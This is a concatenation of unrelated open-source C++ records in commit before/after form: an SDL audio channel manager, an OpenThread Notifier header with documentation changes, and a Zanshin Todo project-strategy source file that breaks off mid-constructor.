asset);\n\t\t\t}\n\t\t};\n\t}\n\n\tnamespace audio {\n\n\t\tusing namespace unit_literals;\n\n\t\tAudio_ctx::Audio_ctx(asset::Asset_manager& assets)\n\t\t\t: _channels{nullptr}, _channels_last{nullptr}, _channel_versions{0}, _channel_sounds{0}\n\t\t{\n\t\t\t_channels.fill(false);\n\t\t\t_channels_last.fill(false);\n\t\t\t_channel_versions.fill(0);\n\t\t\t_channel_sounds.fill(nullptr);\n\t\t\t_free_channels.reserve(_dynamic_channels);\n\t\t\tfor(int16_t i=0; i<_dynamic_channels; ++i)\n\t\t\t\t_free_channels.push_back(i);\n\n\n\t\t\tauto& cfg = asset::unpack(assets.load_maybe<Sounds_cfg>(\"cfg:sounds\"_aid)).get_or_other(\n\t\t\t\t default_cfg\n\t\t\t);\n\n\t\t\tif(&cfg==&default_cfg) {\n\t\t\t\tassets.save<Sounds_cfg>(\"cfg:sounds\"_aid, cfg);\n\t\t\t}\n\n\t\t\t\/\/ Checking if frequence is faulty -> setting to 44100MHz\n\t\t\tint verified_frequence = (cfg.frequence % 22050 == 0) ? cfg.frequence : 44100;\n\t\t\tDEBUG(\"frequence: \" << verified_frequence << \" | \" << ((cfg.channels == 1) ? \"Mono\" : \"Stereo\")\n\t\t\t\t\t\t\t\t<< \" | buffer: \" << cfg.buffer_size);\n\n\t\t\t\/\/ Open SDL Audio Mixer\n\t\t\tif(Mix_OpenAudio(verified_frequence, MIX_DEFAULT_FORMAT, cfg.channels, cfg.buffer_size) == 0) {\n\t\t\t\tDEBUG(\"Sound_ctx succesfully initialized!\");\n\t\t\t} else {\n\t\t\t\tFAIL(\"Initializing Sound incomplete: \" << Mix_GetError());\n\t\t\t}\n\n\t\t\tMix_AllocateChannels(_dynamic_channels+static_channels);\n\t\t\tMix_ReserveChannels(_dynamic_channels);\n\n\t\t\tsound_volume(cfg.sound_volume);\n\t\t\tmusic_volume(cfg.music_volume);\n\t\t}\n\n\t\tAudio_ctx::~Audio_ctx() {\n\t\t\tMix_CloseAudio();\n\t\t}\n\n\t\tvoid Audio_ctx::flip() {\n\t\t\tfor(int16_t i=0; i<_dynamic_channels; ++i) {\n\t\t\t\tif(!_channels[i] && _channels_last[i]) {\n\t\t\t\t\tMix_Pause(i);\n\t\t\t\t\t_free_channels.push_back(i);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t_channels_last = _channels;\n\t\t\t_channels.fill(false);\n\t\t}\n\n\t\tvoid Audio_ctx::play_music(std::shared_ptr<const audio::Music> music, Time fade_time) {\n\t\t\tif(_playing_music==music)\n\t\t\t\treturn;\n\n\t\t\tif(_playing_music) {\n\t\t\t\t\/\/ TODO: fade\n\t\t\t\tMix_HaltMusic();\n\t\t\t}\n\n\t\t\t_playing_music = music;\n\t\t\tMix_FadeInMusic(music->getMusic(), -1, fade_time\/1_ms);\n\t\t}\n\n\t\tauto Audio_ctx::play_static(const audio::Sound& sound) -> Channel_id {\n\t\t\tauto c = Mix_PlayChannel(-1, sound.getSound(), 0);\n\t\t\treturn build_channel_id(c, 0);\n\t\t}\n\t\tauto Audio_ctx::play_dynamic(const audio::Sound& sound, Angle angle, Distance dist,\n\t\t bool loop, Channel_id id) -> Channel_id {\n\t\t\tint16_t c;\n\t\t\tuint8_t v;\n\n\t\t\tif(id>=0) {\n\t\t\t\tc = extract_channel(id);\n\t\t\t\tv = extract_version(id);\n\n\t\t\t\tif(v!=_channel_versions[c])\n\t\t\t\t\tid=-1;\n\n\t\t\t\telse if(_channels[c]==_channels_last[c] && !_channels[c])\n\t\t\t\t\tid=-1;\n\n\t\t\t\telse if(&sound == _channel_sounds[c]) {\n\t\t\t\t\tif(Mix_Paused(c)) {\n\t\t\t\t\t\tMix_Resume(c);\n\t\t\t\t\t\tupdate(id, angle, dist);\n\t\t\t\t\t\treturn id;\n\n\t\t\t\t\t} else if(Mix_Playing(c)) {\n\t\t\t\t\t\tupdate(id, angle, dist);\n\t\t\t\t\t\treturn id;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif(id<0) {\n\t\t\t\tif(_free_channels.empty()) {\n\t\t\t\t\tDEBUG(\"No free channel left.\");\n\t\t\t\t\treturn -1;\n\t\t\t\t}\n\n\t\t\t\tc = _free_channels.back();\n\t\t\t\t_free_channels.pop_back();\n\n\t\t\t\tv = ++_channel_versions[c];\n\n\t\t\t\tid = build_channel_id(c,v);\n\t\t\t}\n\n\t\t\t_channel_sounds[c] = &sound;\n\t\t\tMix_PlayChannel(c, sound.getSound(), loop ? -1 : 0);\n\t\t\tupdate(id, angle, dist);\n\t\t\treturn id;\n\t\t}\n\n\t\tvoid Audio_ctx::update(Channel_id id, Angle angle, Distance dist) {\n\t\t\tauto c = extract_channel(id);\n\t\t\tauto v = extract_version(id);\n\t\t\tif(c<_dynamic_channels && _channel_versions[c]==v) {\n\t\t\t\tMix_SetPosition(id, angle.value(), dist.value());\n\t\t\t\t_channels[c] = true;\n\t\t\t}\n\t\t}\n\n\t\tvoid Audio_ctx::stop(Channel_id id) {\n\t\t\tauto c = extract_channel(id);\n\t\t\tauto v = extract_version(id);\n\t\t\tif(c>=_dynamic_channels || _channel_versions[c]==v)\n\t\t\t\tMix_HaltChannel(c);\n\t\t}\n\n\t\tvoid Audio_ctx::pause_sounds() {\n\t\t\tMix_Pause(-1);\n\t\t}\n\n\t\tvoid Audio_ctx::resume_sounds() {\n\t\t\tMix_Resume(-1);\n\t\t}\n\n\t\tvoid Audio_ctx::stop_sounds() {\n\t\t\tMix_HaltChannel(-1);\n\t\t\t_channels.fill(false);\n\t\t\t_channels_last.fill(false);\n\t\t\t_channel_versions.fill(0);\n\t\t\t_channel_sounds.fill(nullptr);\n\n\t\t\t_free_channels.clear();\n\t\t\tfor(int i=0; i<_dynamic_channels; ++i)\n\t\t\t\t_free_channels.push_back(i);\n\t\t}\n\n\t\tvoid Audio_ctx::sound_volume(float volume) {\n\t\t\t_sound_volume = volume;\n\t\t\tMix_Volume(-1, 128 * _sound_volume);\n\t\t}\n\n\t\tvoid Audio_ctx::music_volume(float volume) {\n\t\t\t_music_volume = volume;\n\t\t\tMix_VolumeMusic(128 * _music_volume);\n\t\t}\n\n\t}\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2016-2017, The OpenThread Authors.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * 3. Neither the name of the copyright holder nor the\n * names of its contributors may be used to endorse or promote products\n * derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/**\n * @file\n * This file defines OpenThread Notifier class.\n *\/\n\n#ifndef NOTIFIER_HPP_\n#define NOTIFIER_HPP_\n\n#include \"openthread-core-config.h\"\n\n#include \"utils\/wrap_stdbool.h\"\n#include \"utils\/wrap_stdint.h\"\n\n#include <openthread\/instance.h>\n#include <openthread\/platform\/toolchain.h>\n\n#include \"common\/locator.hpp\"\n#include \"common\/tasklet.hpp\"\n\nnamespace ot {\n\n\/**\n * @addtogroup core-notifier\n *\n * @brief\n * This module includes definitions for OpenThread Notifier class.\n *\n * @{\n *\n *\/\n\n\/**\n * This class implements the OpenThread Notifier.\n *\n * It can be used to register callbacks to be notified of state or configuration changes within OpenThread.\n *\n *\/\nclass Notifier : public InstanceLocator\n{\npublic:\n \/**\n * This class defines a callback instance that can be registered with the `Notifier`.\n *\n *\/\n class Callback : public OwnerLocator\n {\n friend class Notifier;\n\n public:\n \/**\n * This type defines the function pointer which is called to notify of state or configuration changes.\n *\n * @param[in] aCallback A reference to callback instance.\n * @param[in] aFlags A bit-field indicating specific state or configuration that has changed.\n *\n *\/\n typedef void (*Handler)(Callback &aCallback, otChangedFlags aFlags);\n\n \/**\n * This constructor initializes a `Callback` instance\n *\n * @param[in] aInstance A reference to OpenThread instance.\n * @param[in] aHandler A function pointer to the callback handler.\n * @param[in] aOwner A pointer to the owner of the `Callback` instance.\n *\n *\/\n Callback(Instance &aInstance, Handler aHandler, void *aOwner);\n\n private:\n void Invoke(otChangedFlags aFlags) { mHandler(*this, aFlags); }\n\n Handler mHandler;\n Callback *mNext;\n };\n\n \/**\n * This constructor initializes a `Notifier` instance.\n *\n * @param[in] aInstance A reference to OpenThread instance.\n *\n *\/\n explicit Notifier(Instance &aInstance);\n\n \/**\n * This method registers an `otStateChangedCallback` handler.\n *\n * @param[in] aCallback A pointer to the handler function that is called to notify of the changes.\n * @param[in] aContext A pointer to arbitrary context information.\n *\n * @retval OT_ERROR_NONE Successfully registered the callback.\n * @retval OT_ERROR_ALREADY The callback was already registered.\n * @retval OT_ERROR_NO_BUFS Could not add the callback due to resource constraints.\n *\n *\/\n otError RegisterCallback(otStateChangedCallback aCallback, void *aContext);\n\n \/**\n * This method removes\/unregisters a previously registered `otStateChangedCallback` handler.\n *\n * @param[in] aCallback A pointer to the callback function pointer.\n * @param[in] aContex A pointer to arbitrary context information.\n *\n *\/\n void RemoveCallback(otStateChangedCallback aCallback, void *aContext);\n\n \/**\n * This method schedules signaling of changed flags.\n *\n * @param[in] aFlags A bit-field indicating what configuration or state has changed.\n *\n *\/\n void Signal(otChangedFlags aFlags);\n\n \/**\n * This method schedules signaling of changed flags only if the set of flags has not been signaled before (first\n * time signal).\n *\n * @param[in] aFlags A bit-field indicating what configuration or state has changed.\n *\n *\/\n void SignalIfFirst(otChangedFlags aFlags);\n\n \/**\n * This method indicates whether or not a changed callback is pending.\n *\n * @returns TRUE if a state changed callback is pending, FALSE otherwise.\n *\n *\/\n bool IsPending(void) const { return (mFlagsToSignal != 0); }\n\n \/**\n * This method indicates whether or not a changed notification for a given set of flags has been signaled before.\n *\n * @param[in] aFlags A bit-field containing the flag-bits to check.\n *\n * @retval TRUE All flag bits in @p aFlags have been signaled before.\n * @retval FALSE At least one flag bit in @p aFlags has not been signaled before.\n *\n *\/\n bool HasSignaled(otChangedFlags aFlags) const { return (mSignaledFlags & aFlags) == aFlags; }\n\nprivate:\n enum\n {\n kMaxExternalHandlers = OPENTHREAD_CONFIG_MAX_STATECHANGE_HANDLERS,\n kFlagsStringLineLimit = 70, \/\/ Character limit to divide the log into multiple lines in `LogChangedFlags()`.\n kMaxFlagNameLength = 25, \/\/ Max length for string representation of a flag by `FlagToString()`.\n kFlagsStringBufferSize = kFlagsStringLineLimit + kMaxFlagNameLength,\n };\n\n struct ExternalCallback\n {\n otStateChangedCallback mHandler;\n void * mContext;\n };\n\n void RegisterCallback(Callback &aCallback);\n static void HandleStateChanged(Tasklet &aTasklet);\n void HandleStateChanged(void);\n\n void LogChangedFlags(otChangedFlags aFlags) const;\n const char *FlagToString(otChangedFlags aFlag) const;\n\n otChangedFlags mFlagsToSignal;\n otChangedFlags mSignaledFlags;\n Tasklet mTask;\n Callback * mCallbacks;\n ExternalCallback mExternalCallbacks[kMaxExternalHandlers];\n};\n\n\/**\n * @}\n *\n *\/\n\n} \/\/ namespace ot\n\n#endif \/\/ NOTIFIER_HPP_\n<commit_msg>[notifier] enhance documentation (#3583)<commit_after>\/*\n * Copyright (c) 2016-2017, The OpenThread Authors.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * 3. Neither the name of the copyright holder nor the\n * names of its contributors may be used to endorse or promote products\n * derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/**\n * @file\n * This file defines OpenThread Notifier class.\n *\/\n\n#ifndef NOTIFIER_HPP_\n#define NOTIFIER_HPP_\n\n#include \"openthread-core-config.h\"\n\n#include \"utils\/wrap_stdbool.h\"\n#include \"utils\/wrap_stdint.h\"\n\n#include <openthread\/instance.h>\n#include <openthread\/platform\/toolchain.h>\n\n#include \"common\/locator.hpp\"\n#include \"common\/tasklet.hpp\"\n\nnamespace ot {\n\n\/**\n * @addtogroup core-notifier\n *\n * @brief\n * This module includes definitions for OpenThread Notifier class.\n *\n * @{\n *\n *\/\n\n\/**\n * This class implements the OpenThread Notifier.\n *\n * It can be used to register callbacks that notify of state or configuration changes within OpenThread.\n *\n * Two callback models are provided:\n *\n * - A `Notifier::Callback` object that upon initialization (from its constructor) auto-registers itself with\n * the `Notifier`. This model is mainly used by OpenThread core modules.\n *\n * - A `otStateChangedCallback` callback handler which needs to be explicitly registered with the `Notifier`. This is\n * commonly used by external users (provided as an OpenThread public API). Max number of such callbacks that can be\n * registered at the same time is specified by `OPENTHREAD_CONFIG_MAX_STATECHANGE_HANDLERS` configuration parameter.\n *\n *\/\nclass Notifier : public InstanceLocator\n{\npublic:\n \/**\n * This class defines a `Notifier` callback instance.\n *\n *\/\n class Callback : public OwnerLocator\n {\n friend class Notifier;\n\n public:\n \/**\n * This type defines the function pointer which is called to notify of state or configuration changes.\n *\n * @param[in] aCallback A reference to callback instance.\n * @param[in] aFlags A bit-field indicating specific state or configuration that has changed.\n *\n *\/\n typedef void (*Handler)(Callback &aCallback, otChangedFlags aFlags);\n\n \/**\n * This constructor initializes a `Callback` instance and registers it with `Notifier`.\n *\n * @param[in] aInstance A reference to OpenThread instance.\n * @param[in] aHandler A function pointer to the callback handler.\n * @param[in] aOwner A pointer to the owner of the `Callback` instance.\n *\n *\/\n Callback(Instance &aInstance, Handler aHandler, void *aOwner);\n\n private:\n void Invoke(otChangedFlags aFlags) { mHandler(*this, aFlags); }\n\n Handler mHandler;\n Callback *mNext;\n };\n\n \/**\n * This constructor initializes a `Notifier` instance.\n *\n * @param[in] aInstance A reference to OpenThread instance.\n *\n *\/\n explicit Notifier(Instance &aInstance);\n\n \/**\n * This method registers an `otStateChangedCallback` handler.\n *\n * @param[in] aCallback A pointer to the handler function that is called to notify of the changes.\n * @param[in] aContext A pointer to arbitrary context information.\n *\n * @retval OT_ERROR_NONE Successfully registered the callback.\n * @retval OT_ERROR_ALREADY The callback was already registered.\n * @retval OT_ERROR_NO_BUFS Could not add the callback due to resource constraints.\n *\n *\/\n otError RegisterCallback(otStateChangedCallback aCallback, void *aContext);\n\n \/**\n * This method removes\/unregisters a previously registered `otStateChangedCallback` handler.\n *\n * @param[in] aCallback A pointer to the callback function pointer.\n * @param[in] aContex A pointer to arbitrary context information.\n *\n *\/\n void RemoveCallback(otStateChangedCallback aCallback, void *aContext);\n\n \/**\n * This method schedules signaling of changed flags.\n *\n * @param[in] aFlags A bit-field indicating what configuration or state has changed.\n *\n *\/\n void Signal(otChangedFlags aFlags);\n\n \/**\n * This method schedules signaling of changed flags only if the set of flags has not been signaled before (first\n * time signal).\n *\n * @param[in] aFlags A bit-field indicating what configuration or state has changed.\n *\n *\/\n void SignalIfFirst(otChangedFlags aFlags);\n\n \/**\n * This method indicates whether or not a changed callback is pending.\n *\n * @returns TRUE if a state changed callback is pending, FALSE otherwise.\n *\n *\/\n bool IsPending(void) const { return (mFlagsToSignal != 0); }\n\n \/**\n * This method indicates whether or not a changed notification for a given set of flags has been signaled before.\n *\n * @param[in] aFlags A bit-field containing the flag-bits to check.\n *\n * @retval TRUE All flag bits in @p aFlags have been signaled before.\n * @retval FALSE At least one flag bit in @p aFlags has not been signaled before.\n *\n *\/\n bool HasSignaled(otChangedFlags aFlags) const { return (mSignaledFlags & aFlags) == aFlags; }\n\nprivate:\n enum\n {\n kMaxExternalHandlers = OPENTHREAD_CONFIG_MAX_STATECHANGE_HANDLERS,\n kFlagsStringLineLimit = 70, \/\/ Character limit to divide the log into multiple lines in `LogChangedFlags()`.\n kMaxFlagNameLength = 25, \/\/ Max length for string representation of a flag by `FlagToString()`.\n kFlagsStringBufferSize = kFlagsStringLineLimit + kMaxFlagNameLength,\n };\n\n struct ExternalCallback\n {\n otStateChangedCallback mHandler;\n void * mContext;\n };\n\n void RegisterCallback(Callback &aCallback);\n static void HandleStateChanged(Tasklet &aTasklet);\n void HandleStateChanged(void);\n\n void LogChangedFlags(otChangedFlags aFlags) const;\n const char *FlagToString(otChangedFlags aFlag) const;\n\n otChangedFlags mFlagsToSignal;\n otChangedFlags mSignaledFlags;\n Tasklet mTask;\n Callback * mCallbacks;\n ExternalCallback mExternalCallbacks[kMaxExternalHandlers];\n};\n\n\/**\n * @}\n *\n *\/\n\n} \/\/ namespace ot\n\n#endif \/\/ NOTIFIER_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/*\n This file is part of Zanshin Todo.\n\n Copyright (C) 2012 Christian Mollekopf <chrigi_1@fastmail.fm>\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n*\/\n\n\n#include \"globaldefs.h\"\n#include \"core\/projectstrategy.h\"\n#include \"core\/incidenceitem.h\"\n#include \"core\/pimitemmodel.h\"\n#include \"core\/pimitemservices.h\"\n#include \"reparentingmodel\/todonode.h\"\n#include \"reparentingmodel\/reparentingmodel.h\"\n#include \"todohelpers.h\"\n#include <KLocalizedString>\n#include <KIcon>\n#include <QMimeData>\n#include <Akonadi\/ItemModifyJob>\n#include <Akonadi\/ItemFetchJob>\n#include <Akonadi\/ItemFetchScope>\n#include <KUrl>\n\nProjectStrategy::ProjectStrategy(ProjectStructureCache *structure)\n: ReparentingStrategy(),\n mInbox(1),\n mRelations(structure)\n{\n PimItemServices::projectInstance().setRelationsStructure(mRelations.data());\n mReparentOnRemoval = false;\n connect(mRelations.data(), SIGNAL(nodeRemoved(Id)), this, SLOT(doRemoveNode(Id)));\n connect(mRelations.data(), SIGNAL(parentsChanged(Id,IdList)), this, SLOT(doChangeParents(Id, IdList)));\n}\n\nvoid ProjectStrategy::init()\n{\n ReparentingStrategy::init();\n \/\/FIXME we should be setting this earlier, here the inserted signals have already been emitted\n\n QList<TodoNode*> nodes = createNode(mInbox, IdList(), \"Inbox\");\n Q_ASSERT(nodes.size() == 1);\n TodoNode *node = nodes.first();\n node->setData(i18n(\"Inbox\"), 0, Qt::DisplayRole);\n node->setData(KIcon(\"mail-folder-inbox\"), 0, Qt::DecorationRole);\n node->setRowData(Zanshin::Inbox, Zanshin::ItemTypeRole);\n}\n\nstatic Id translateFrom(Id id)\n{\n \/\/TODO proper id mapping\n return id+10;\n}\n\nstatic Id translateTo(Id id)\n{\n \/\/TODO proper id mapping\n return id-10;\n}\n\nstatic IdList translateFrom(IdList l)\n{\n IdList list;\n foreach (Id id, l) {\n list << translateFrom(id);\n }\n return list;\n}\n\nvoid ProjectStrategy::doRemoveNode(Id id)\n{\n kDebug() << id;\n \/\/FIXME\n\/\/ ReparentingStrategy::removeNode(translateFrom(id));\n}\n\nvoid ProjectStrategy::doChangeParents(Id id, IdList parents)\n{\n IdList p;\n if (parents.isEmpty()) {\n bool isProject = mRelations->hasChildren(id);\n if (isProject) {\n const Akonadi::Collection col = getParentCollection(translateFrom(id));\n if (col.isValid()) {\n p << translateFrom(mRelations->addCollection(col));\n }\n } else {\n p << mInbox;\n }\n } else {\n p << translateFrom(parents);\n }\n ReparentingStrategy::updateParents(translateFrom(id), p);\n}\n\nId ProjectStrategy::getId(const QModelIndex &sourceChildIndex)\n{\n Zanshin::ItemType type = (Zanshin::ItemType) sourceChildIndex.data(Zanshin::ItemTypeRole).toInt();\n if (type==Zanshin::Collection) {\n return translateFrom(mRelations->addCollection(sourceChildIndex.data(Akonadi::EntityTreeModel::CollectionRole).value<Akonadi::Collection>()));\n }\n\/\/ kDebug() << sourceChildIndex.data(Akonadi::EntityTreeModel::ItemRole).value<Akonadi::Item>().url() << sourceChildIndex << type;\n const Akonadi::Item &item = sourceChildIndex.data(Akonadi::EntityTreeModel::ItemRole).value<Akonadi::Item>();\n Q_ASSERT(item.isValid());\n Id id = mRelations->addItem(item);\n if (id < 0) {\n return -1;\n }\n return translateFrom(id);\n}\n\nbool ProjectStrategy::isProject(Id id, Zanshin::ItemType itemType) const\n{\n if (itemType == Zanshin::ProjectTodo\n || ((itemType == Zanshin::StandardTodo) && mRelations->hasChildren(translateTo(id)))) {\n return true;\n }\n return false;\n}\n\nIdList ProjectStrategy::getParents(const QModelIndex &sourceChildIndex, const IdList &ignore)\n{\n Q_ASSERT(sourceChildIndex.isValid());\n\/\/ kDebug() << sourceChildIndex.data(Akonadi::EntityTreeModel::ItemRole).value<Akonadi::Item>().url();\n\/\/ kDebug() << sourceChildIndex.data().toString();\n\/\/ mRelations->printCache();\n IdList parents;\n Zanshin::ItemType type = (Zanshin::ItemType) sourceChildIndex.data(Zanshin::ItemTypeRole).toInt();\n if (type==Zanshin::Collection) {\n const QModelIndex &parent = sourceChildIndex.parent();\n if (parent.isValid()) {\n return IdList() << getId(parent);\n }\n return IdList();\n }\n\n const Akonadi::Item &item = sourceChildIndex.data(Akonadi::EntityTreeModel::ItemRole).value<Akonadi::Item>();\n Id id = mRelations->getItemId(item);\n parents = translateFrom(mRelations->getParents(id));\n bool isNote = (sourceChildIndex.data(PimItemModel::ItemTypeRole).toInt() == PimItem::Note);\n if (parents.isEmpty() || isNote) {\n if (!isProject(translateFrom(id), type) && !isNote) {\n return IdList() << mInbox;\n }\n const QModelIndex &parent = sourceChildIndex.parent();\n if (parent.isValid()) {\n parents << getId(parent);\n }\n }\n Q_ASSERT(!parents.contains(translateFrom(id)));\n\n foreach(Id i, ignore) {\n parents.removeAll(i);\n }\n\/\/ kDebug() << id << parents;\n checkParents(parents);\n return parents;\n}\n\nvoid ProjectStrategy::onNodeRemoval(const Id& changed)\n{\n IdList parents = translateFrom(mRelations->getParents(translateTo(changed)));\n\/\/ kDebug() << changed << parents;\n mRelations->removeNode(translateTo(changed));\n checkParents(parents);\n}\n\nvoid ProjectStrategy::checkParents(const IdList &parentsToCheck)\n{\n foreach(Id id, parentsToCheck) {\n \/\/Because we may have just removed a project\n ReparentingStrategy::updateParents(id);\n }\n}\n\nvoid ProjectStrategy::reset()\n{\n ReparentingStrategy::reset();\n}\n\nQt::ItemFlags ProjectStrategy::flags(const QModelIndex& index, Qt::ItemFlags existingFlags)\n{\n Zanshin::ItemType type = (Zanshin::ItemType)index.data(Zanshin::ItemTypeRole).toInt();\n\n if (type == Zanshin::Inbox) {\n return Qt::ItemIsSelectable | Qt::ItemIsDropEnabled | Qt::ItemIsEnabled;\n }\n\n Akonadi::Collection collection;\n if (type==Zanshin::Collection) {\n collection = index.data(Akonadi::EntityTreeModel::CollectionRole).value<Akonadi::Collection>();\n } else if (type == Zanshin::ProjectTodo) { \/\/isProject(getId(index), type) FIXME for some reason the item is invalid in getid\n \/\/ We use ParentCollectionRole instead of Akonadi::Item::parentCollection() because the\n \/\/ information about the rights is not valid on retrieved items.\n collection = index.data(Akonadi::EntityTreeModel::ParentCollectionRole).value<Akonadi::Collection>();\n }\n\n if (!(collection.rights() & Akonadi::Collection::CanCreateItem)) {\n existingFlags &= ~Qt::ItemIsDropEnabled;\n } else {\n existingFlags |= Qt::ItemIsDropEnabled;\n }\n\n return existingFlags;\n}\n\nQt::DropActions ProjectStrategy::supportedDropActions() const\n{\n return Qt::MoveAction\/*|Qt::LinkAction*\/;\n}\n\nbool ProjectStrategy::onDropMimeData(Id id, const QMimeData* mimeData, Qt::DropAction action)\n{\n if (action != Qt::MoveAction || !KUrl::List::canDecode(mimeData)) {\n return false;\n }\n\n KUrl::List urls = KUrl::List::fromMimeData(mimeData);\n\n Akonadi::Collection collection;\n bool forward;\n Zanshin::ItemType parentType = (Zanshin::ItemType)data(id, 0, Zanshin::ItemTypeRole, forward).toInt();\n if (parentType == Zanshin::Collection) {\n collection = getData(id, Akonadi::EntityTreeModel::CollectionRole).value<Akonadi::Collection>();\n } else {\n const Akonadi::Item parentItem = getData(id, Akonadi::EntityTreeModel::ItemRole).value<Akonadi::Item>();\n collection = parentItem.parentCollection();\n }\n\n QString parentUid = getData(id, Zanshin::UidRole).toString();\n\n foreach (const KUrl &url, urls) {\n const Akonadi::Item urlItem = Akonadi::Item::fromUrl(url);\n \/\/TODO make sure we never get here during testing (although we normally shouldn't anyways\n if (urlItem.isValid()) {\n \/\/TODO replace by getData\/setData?\n Akonadi::ItemFetchJob *job = new Akonadi::ItemFetchJob(urlItem);\n job->fetchScope().setAncestorRetrieval(Akonadi::ItemFetchScope::Parent);\n job->fetchScope().fetchFullPayload();\n if ( !job->exec() ) {\n continue;\n }\n Q_ASSERT(job->items().size()==1);\n Akonadi::Item item = job->items().first();\n Q_ASSERT(item.isValid());\n if (PimItem::itemType(item) == PimItem::Todo) {\n return TodoHelpers::moveTodoToProject(item, parentUid, parentType, collection);\n } else if (PimItem::itemType(item) == PimItem::Note) {\n TodoHelpers::moveToProject(item, parentUid);\n setData(id, QVariant::fromValue<Akonadi::Item>(item), Akonadi::EntityTreeModel::ItemRole);\n return true;\n }\n }\n }\n\n return false;\n}\n\nQVariant ProjectStrategy::data(Id id, int column, int role, bool &forward) const\n{\n \/\/We simply override the todometadatamodel data for todos with children (which are also projects)\n const Zanshin::ItemType itemType = static_cast<Zanshin::ItemType>(getData(id, Zanshin::ItemTypeRole).toInt());\n bool project = isProject(id, itemType);\n\n switch (role) {\n case Zanshin::ItemTypeRole: {\n if (id == mInbox) {\n return Zanshin::Inbox;\n }\n if (project) {\n return Zanshin::ProjectTodo;\n }\n return itemType;\n }\n case Qt::CheckStateRole:\n if (project) {\n forward = false;\n return QVariant();\n }\n break;\n case Qt::DecorationRole:\n if (project && !column) {\n return KIcon(\"view-pim-tasks\");\n }\n break;\n }\n return QVariant();\n}\n<commit_msg>Use PimItemServices instead of Todohelpers<commit_after>\/*\n This file is part of Zanshin Todo.\n\n Copyright (C) 2012 Christian Mollekopf <chrigi_1@fastmail.fm>\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n*\/\n\n\n#include \"globaldefs.h\"\n#include \"core\/projectstrategy.h\"\n#include \"core\/incidenceitem.h\"\n#include \"core\/pimitemmodel.h\"\n#include \"core\/pimitemservices.h\"\n#include \"reparentingmodel\/todonode.h\"\n#include \"reparentingmodel\/reparentingmodel.h\"\n#include \"todohelpers.h\"\n#include <KLocalizedString>\n#include <KIcon>\n#include <QMimeData>\n#include <Akonadi\/ItemModifyJob>\n#include <Akonadi\/ItemFetchJob>\n#include <Akonadi\/ItemFetchScope>\n#include <KUrl>\n\nProjectStrategy::ProjectStrategy(ProjectStructureCache *structure)\n: ReparentingStrategy(),\n mInbox(1),\n 